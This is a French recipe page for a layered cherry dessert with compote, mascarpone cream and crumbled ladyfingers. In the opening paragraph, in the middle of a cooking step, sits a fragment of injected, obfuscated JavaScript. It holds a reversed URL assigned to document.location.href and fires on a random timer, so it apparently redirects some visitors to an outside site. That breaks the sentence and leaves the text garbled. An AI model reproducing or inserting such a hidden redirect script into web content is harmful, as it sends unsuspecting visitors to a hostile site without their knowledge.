Le dessert aux trois cerises

2021-04-12

Rincez, séchez, dénoyautez les cerises. Les déposer dans une cocotte avec 150 g de sucre en poudre et 10 cl d’eau froide. Faites les cuire, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant pendant 30 minutes sur feu doux, et obtenir une compote.

Ingrédients

  • Pour 6 personnes
  • 800 g de cerises
  • 6 cerises confites
  • 180 g de sucre en poudre
  • 10 cl d'eau froide
  • 12 biscuits à la cuillère
  • 125 g de mascarpone
  • 4 cuillères à soupe de sirop d'orgeat
  • où 4 gouttes d'essence d'amande amère
  • 4 feuilles de menthe fraîches

Préparation de la recette

Etape 1

Rincez, séchez, dénoyautez les cerises.

Etape 2

Les déposer dans une cocotte avec 150 g de sucre en poudre et 10 cl d'eau froide.

Etape 3

Faites les cuire, tout en mélangeant pendant 30 minutes sur feu doux, et obtenir une compote

Etape 4

Versez la compote dans un saladier et la laisser refroidir complètement.

Etape 5

Coupez-les cerises confites en petits dés.

Etape 6

Égouttez les cerises à l'eau de vie. Les piquer sur un pique en bois.

Etape 7

Battez énergiquement le mascarpone avec le sucre restant, le sirop d'orgeat et obtenir une crème lisse.

Etape 8

Émiettez les biscuits à la cuillère.

Etape 9

Répartissez les dans le fond de 6 verrines où ramequins, nappez de compote, une couche de crème mascarpone.

Etape 10

Déposez dessus les cerises, quelques feuilles de menthe fraîches dessus.

Etape 11

Placez au réfrigérateur jusqu'au moment de servir

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